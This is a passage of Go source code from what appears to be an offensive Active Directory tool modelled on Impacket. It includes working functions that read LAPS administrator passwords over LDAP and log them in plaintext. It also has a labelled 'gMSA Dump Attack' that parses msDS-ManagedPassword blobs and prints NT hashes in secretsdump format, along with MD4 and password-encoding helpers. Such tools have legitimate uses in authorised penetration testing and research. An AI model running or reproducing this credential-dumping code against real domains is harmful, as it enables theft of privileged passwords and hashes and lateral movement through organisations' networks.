if hostname == "" {
hostname = entry.GetAttributeValue("sAMAccountName")
}
// LAPS v1
lapsV1 := entry.GetAttributeValue("ms-MCS-AdmPwd")
if lapsV1 != "" {
expiry := entry.GetAttributeValue("ms-Mcs-AdmPwdExpirationTime")
log.Printf("[+] %s: %s (expires: %s)", hostname, lapsV1, formatWindowsTime(expiry))
found++
}
// LAPS v2
lapsV2 := entry.GetAttributeValue("msLAPS-Password")
if lapsV2 != "" {
log.Printf("[+] %s: %s (LAPS v2)", hostname, lapsV2)
found++
}
}
if found == 0 {
log.Printf("[-] No LAPS passwords readable (insufficient privileges or LAPS not deployed)")
} else {
log.Printf("[+] Dumped %d LAPS password(s)", found)
}
return nil
}
// --- gMSA Dump Attack ---
func dumpGMSAAttack(client *gopacketldap.Client, config *Config) error {
baseDN, err := client.GetDefaultNamingContext()
if err != nil {
return err
}
log.Printf("[*] Dumping gMSA passwords...")
result, err := client.Search(baseDN,
"(objectClass=msDS-GroupManagedServiceAccount)",
[]string{"sAMAccountName", "msDS-ManagedPassword", "distinguishedName"})
if err != nil {
return fmt.Errorf("gMSA search failed: %v", err)
}
if len(result.Entries) == 0 {
log.Printf("[-] No gMSA accounts found")
return nil
}
found := 0
for _, entry := range result.Entries {
sam := entry.GetAttributeValue("sAMAccountName")
blobRaw := entry.GetRawAttributeValue("msDS-ManagedPassword")
if len(blobRaw) == 0 {
log.Printf("[-] %s: cannot read msDS-ManagedPassword (insufficient privileges)", sam)
continue
}
ntHash := parseGMSABlob(blobRaw)
if ntHash != nil {
log.Printf("[+] %s:::aad3b435b51404eeaad3b435b51404ee:%s:::", sam, hex.EncodeToString(ntHash))
found++
} else {
log.Printf("[-] %s: failed to parse gMSA blob", sam)
}
}
if found == 0 {
log.Printf("[-] No gMSA passwords readable")
} else {
log.Printf("[+] Dumped %d gMSA hash(es)", found)
}
return nil
}
// --- Utility Functions ---
// parseGMSABlob extracts the NT hash from an MSDS_MANAGEDPASSWORD_BLOB.
func parseGMSABlob(blob []byte) []byte {
// MSDS_MANAGEDPASSWORD_BLOB:
// Version (2 bytes)
// Reserved (2 bytes)
// Length (4 bytes)
// CurrentPasswordOffset (2 bytes)
// OldPasswordOffset (2 bytes) [optional]
if len(blob) < 10 {
return nil
}
offset := binary.LittleEndian.Uint16(blob[8:10])
if int(offset) >= len(blob) {
return nil
}
// Find password end
var passwordEnd int
if len(blob) >= 12 {
oldOffset := binary.LittleEndian.Uint16(blob[10:12])
if oldOffset > 0 && int(oldOffset) < len(blob) && int(oldOffset) > int(offset) {
passwordEnd = int(oldOffset)
} else {
passwordEnd = len(blob)
}
} else {
passwordEnd = len(blob)
}
password := blob[offset:passwordEnd]
if len(password) == 0 {
return nil
}
// Compute NT hash: MD4(password)
return md4Sum(password)
}
// md4Sum computes MD4 hash (for NT hash computation).
func md4Sum(data []byte) []byte {
var a, b, c, d uint32 = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476
// Pad message
msg := make([]byte, len(data))
copy(msg, data)
origLen := len(msg)
msg = append(msg, 0x80)
for len(msg)%64 != 56 {
msg = append(msg, 0)
}
bits := uint64(origLen) * 8
lenBytes := make([]byte, 8)
binary.LittleEndian.PutUint64(lenBytes, bits)
msg = append(msg, lenBytes...)
f := func(x, y, z uint32) uint32 { return (x & y) | (^x & z) }
g := func(x, y, z uint32) uint32 { return (x & y) | (x & z) | (y & z) }
h := func(x, y, z uint32) uint32 { return x ^ y ^ z }
rl := func(x uint32, n uint) uint32 { return (x << n) | (x >> (32 - n)) }
for i := 0; i < len(msg); i += 64 {
var x [16]uint32
for j := 0; j < 16; j++ {
x[j] = binary.LittleEndian.Uint32(msg[i+j*4:])
}
aa, bb, cc, dd := a, b, c, d
// Round 1
r1 := func(a, b, c, d, xk uint32, s uint) uint32 { return rl(a+f(b, c, d)+xk, s) }
a = r1(a, b, c, d, x[0], 3)
d = r1(d, a, b, c, x[1], 7)
c = r1(c, d, a, b, x[2], 11)
b = r1(b, c, d, a, x[3], 19)
a = r1(a, b, c, d, x[4], 3)
d = r1(d, a, b, c, x[5], 7)
c = r1(c, d, a, b, x[6], 11)
b = r1(b, c, d, a, x[7], 19)
a = r1(a, b, c, d, x[8], 3)
d = r1(d, a, b, c, x[9], 7)
c = r1(c, d, a, b, x[10], 11)
b = r1(b, c, d, a, x[11], 19)
a = r1(a, b, c, d, x[12], 3)
d = r1(d, a, b, c, x[13], 7)
c = r1(c, d, a, b, x[14], 11)
b = r1(b, c, d, a, x[15], 19)
// Round 2
r2 := func(a, b, c, d, xk uint32, s uint) uint32 { return rl(a+g(b, c, d)+xk+0x5a827999, s) }
a = r2(a, b, c, d, x[0], 3)
d = r2(d, a, b, c, x[4], 5)
c = r2(c, d, a, b, x[8], 9)
b = r2(b, c, d, a, x[12], 13)
a = r2(a, b, c, d, x[1], 3)
d = r2(d, a, b, c, x[5], 5)
c = r2(c, d, a, b, x[9], 9)
b = r2(b, c, d, a, x[13], 13)
a = r2(a, b, c, d, x[2], 3)
d = r2(d, a, b, c, x[6], 5)
c = r2(c, d, a, b, x[10], 9)
b = r2(b, c, d, a, x[14], 13)
a = r2(a, b, c, d, x[3], 3)
d = r2(d, a, b, c, x[7], 5)
c = r2(c, d, a, b, x[11], 9)
b = r2(b, c, d, a, x[15], 13)
// Round 3
r3 := func(a, b, c, d, xk uint32, s uint) uint32 { return rl(a+h(b, c, d)+xk+0x6ed9eba1, s) }
a = r3(a, b, c, d, x[0], 3)
d = r3(d, a, b, c, x[8], 9)
c = r3(c, d, a, b, x[4], 11)
b = r3(b, c, d, a, x[12], 15)
a = r3(a, b, c, d, x[2], 3)
d = r3(d, a, b, c, x[10], 9)
c = r3(c, d, a, b, x[6], 11)
b = r3(b, c, d, a, x[14], 15)
a = r3(a, b, c, d, x[1], 3)
d = r3(d, a, b, c, x[9], 9)
c = r3(c, d, a, b, x[5], 11)
b = r3(b, c, d, a, x[13], 15)
a = r3(a, b, c, d, x[3], 3)
d = r3(d, a, b, c, x[11], 9)
c = r3(c, d, a, b, x[7], 11)
b = r3(b, c, d, a, x[15], 15)
a += aa
b += bb
c += cc
d += dd
}
result := make([]byte, 16)
binary.LittleEndian.PutUint32(result[0:], a)
binary.LittleEndian.PutUint32(result[4:], b)
binary.LittleEndian.PutUint32(result[8:], c)
binary.LittleEndian.PutUint32(result[12:], d)
return result
}
// encodeUnicodePassword encodes a password for LDAP unicodePwd attribute.
// Format: UTF-16LE encoded string surrounded by double quotes.
func encodeUnicodePassword(password string) []byte {
quoted := "\"" + password + "\""
runes := []rune(quoted)
encoded := make([]byte, len(runes)*2)
for i, r := range runes {
binary.LittleEndian.PutUint16(encoded[i*2:], uint16(r))
}
return encoded
}
// generateRandomPassword creates a random password with mixed characters.
func generateRandomPassword(length int) string {
const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%"
b := make([]byte, length)
randBytes := make([]byte, length)
rand.Read(randBytes)
for i := range b {
b[i] = chars[int(randBytes[i])%len(chars)]
}
return string(b)
}
// generateRandomAlphanumeric creates a random alphanumeric string.
// Matches Impacket's random.choice(string.ascii_letters + string.digits) pattern.
func generateRandomAlphanumeric(length int) string {
const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
randBytes := make([]byte, length)
rand.Read(randBytes)
for i := range b {
b[i] = chars[int(randBytes[i])%len(chars)]
}
return string(b)
}
// formatWindowsTime converts a Windows FILETIME string to human-readable format.
func formatWindowsTime(s string) string {
if s == "" {
return "N/A"
}
val, err := strconv.ParseInt(s, 10, 64)
if err != nil || val == 0 {
return s
}
const ticksPerSecond = 10000000
const epochDiff = 11644473600
unixTime := (val / ticksPerSecond) - epochDiff
if unixTime < 0 {
return "Never"
}
return time.Unix(unixTime, 0).Format("2006-01-02 15:04:05")
}